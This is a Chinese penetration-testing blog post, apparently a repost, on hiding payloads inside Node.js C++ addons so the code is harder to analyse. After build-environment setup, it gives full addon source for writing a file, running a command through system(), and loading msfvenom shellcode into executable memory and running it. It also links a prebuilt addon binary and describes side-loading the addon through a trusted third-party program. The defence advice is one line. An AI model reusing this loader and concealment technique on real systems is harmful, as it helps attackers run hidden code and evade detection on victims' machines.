渗透测试中的 Node.js——利用 C++ 插件隐藏真实代码

发布于 2025-01-20 11:05:17 字数 8222 浏览 2 评论 0

0x00 前言

在之前的文章 《渗透测试中的 Node.js——Downloader 的实现》 开源了一个使用 Node.js 实现 Downloader 的代码,简要分析在渗透测试中的利用思路。

Node.js 的语法简单易懂,所以 Node.js 代码也很容易被分析。

为了增加 Node.js 代码被分析的难度,我的思路是利用 Node.js 的一个功能,将 payload 以 C++插件的形式进行封装。

这样不但能够增加 Node.js 代码被分析的难度,而且可以用 C++代码来实现 payload,已有的 C++代码经过简单的修改即可使用,减小二次开发的成本。

0x01 简介

本文将要介绍以下内容:

  • C++插件简介
  • 搭建 C++插件的开发环境
  • C++插件代码实例
  • 利用思路
  • 防御建议

0x02 C++插件简介

Node.js C++插件是用 C++编写的动态链接库,可以使用 require() 函数加载到 Node.js 中。利用 V8 提供的 API,可以实现 JavaScript 和 C++的互相调用,打通 JavaScript 和 C++之间的接口。

官方文档:https://nodejs.org/api/addons.html

使用实例:

  1. 编译成功一个 C++插件,导出方法为:hello
  2. 使用 Node.js 调用 C++插件导出方法的代码如下:
const addon = require('./addon.node');
addon.hello();
  1. 执行代码
node.exe test.js

0x03 搭建 C++插件的开发环境

1、Windows 开发环境

测试系统:Win7sp1 x64

需要安装以下工具:

  • .NET Framework 4.5.1 或更高版本
  • Python 2.7
  • Visual Studio 2015 或更高版本

具体搭建流程如下:

  1. 安装.NET Framework 4.5.1:https://www.microsoft.com/en-US/download/details.aspx?id=5842
  2. 下载 Node.js:https://nodejs.org/en/download/
  3. 使用 Windows-Build-Tools 自动安装依赖工具:https://github.com/felixrieseberg/windows-build-tools
cd c:\
powershell
npm install --global windows-build-tools

如果安装失败,可选择手动安装以下工具:

  • Python 2.7
  • Visual Studio 2015 或更高版本

4. 安装 node-gyp:https://github.com/nodejs/node-gyp

npm install -g node-gyp

2、Linux 开发环境

wget https://nodejs.org/dist/v10.15.3/node-v10.15.3-linux-x64.tar.xz
tar xf node-v10.15.3-linux-x64.tar.xz
cd node-v10.15.3-linux-x64
cd bin
export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH
./npm install -g node-gyp

注:需要添加环境变量指定 node 的位置( export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH ),否则在执行 npm install 会失败,提示 /usr/bin/env: ‘node’: No such file or directory

实例演示:

  1. hello.cc:
#include <node.h>
namespace demo {
using v8::FunctionCallbackInfo;
using v8::Isolate;
using v8::Local;
using v8::NewStringType;
using v8::Object;
using v8::String;
using v8::Value;

void Method(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = args.GetIsolate();
  args.GetReturnValue().Set(String::NewFromUtf8(
      isolate, "world", NewStringType::kNormal).ToLocalChecked());
}

void Initialize(Local<Object> exports) {
  NODE_SET_METHOD(exports, "hello", Method);
}

NODE_MODULE(NODE_GYP_MODULE_NAME, Initialize)

}  // namespace demo
  1. binding.gyp
{
  "targets": [
    {
      "target_name": "addon",
      "sources": [ "hello.cc" ]
    }
  ]
}
  1. 通过 node-gyp 编译,生成插件
node-gyp configure
node-gyp build

注:可以合并成一条命令:

node-gyp configure build

Node.js 支持交叉编译,具体参数说明可参考:https://www.npmjs.com/package/node-pre-gyp

Linux 系统下生成 Windows64 位系统下使用的插件命令如下:

node-gyp configure build --target_arch=x64 --target_platform=win32

0x04 C++插件代码实例

在开发时,最好避免出现 if 这种的条件判断语句,直接使用会导致编译错误

1. 释放文件

#include <node.h>
#include <stdio.h>
namespace demo {
    using v8::FunctionCallbackInfo;
    using v8::Isolate;
    using v8::Local;
    using v8::Object;
    using v8::String;
    using v8::Value;

    void Method(const FunctionCallbackInfo<Value>& args) {
        FILE* fp;
        fopen_s(&fp, "new.txt", "ab+");
        char *buf = "123456";
        fwrite(buf, strlen(buf), 1, fp);
        fseek(fp, 0, SEEK_END);
        fclose(fp);
    }

    void init(Local<Object> exports) {
        NODE_SET_METHOD(exports, "hello", Method);
    }
    NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

2. 执行命令:

#include <node.h>
namespace demo {
    using v8::FunctionCallbackInfo;
    using v8::Isolate;
    using v8::Local;
    using v8::Object;
    using v8::String;
    using v8::Value;

    void Method(const FunctionCallbackInfo<Value>& args) {
        system("powershell start calc.exe");
    }

    void init(Local<Object> exports) {
        NODE_SET_METHOD(exports, "hello", Method);
    }
    NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

3.执行 shellcode

生成 shellcode:

msfvenom -p windows/x64/exec CMD=calc.exe -f c

加载 shellcode 并执行:

#include <node.h>
#include <Windows.h>
namespace demo {
    using v8::FunctionCallbackInfo;
    using v8::Isolate;
    using v8::Local;
    using v8::Object;
    using v8::String;
    using v8::Value;

    void Method(const FunctionCallbackInfo<Value>& args) {
        unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
            "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
            "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
            "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
            "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
            "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
            "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
            "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
            "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
            "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
            "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
            "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
            "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
            "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
            "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
            "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
            "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
            "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
            "\x63\x2e\x65\x78\x65\x00";
        void *sc = VirtualAlloc(0, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(sc, shellcode, sizeof(shellcode));
        (*(int(*)()) sc)();

    }

    void init(Local<Object> exports) {
        NODE_SET_METHOD(exports, "hello", Method);
    }
    NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

编译好的插件已上传至 github,地址如下:https://github.com/3gstudent/test/raw/master/addon.node

以上插件代码的导出方法均为 hello ,调用方式如下:

const addon = require('./addon.node');
addon.hello();

0x05 利用思路

1、被第三方可信程序加载

参考:https://bbs.pediy.com/thread-249573.htm

t.exe -> node.exe -> main.js

main.js 与 addon.node 放在同级目录,main.js 的内容如下:

const addon = require('./addon.node');
addon.hello();

addon.node 的格式为 dll 文件,无法直接获得 payload,增加静态分析的成本

0x06 防御建议

对 t.exe 的子进程(node.exe) 行为进行判断,如果有可疑行为进行拦截,取消对该证书的信任

0x07 小结

本文介绍了 Node.js 中 C++插件的用法,可以用来增加 Node.js 代码被分析的难度,最后分享了三个 payload 的写法。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

无法回应

暂无简介

文章
评论
25 人气
更多

推荐作者

迎风吟唱

文章 0 评论 0

qq_hXErI

文章 0 评论 0

茶底世界

文章 0 评论 0

捎一片雪花

文章 0 评论 0

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文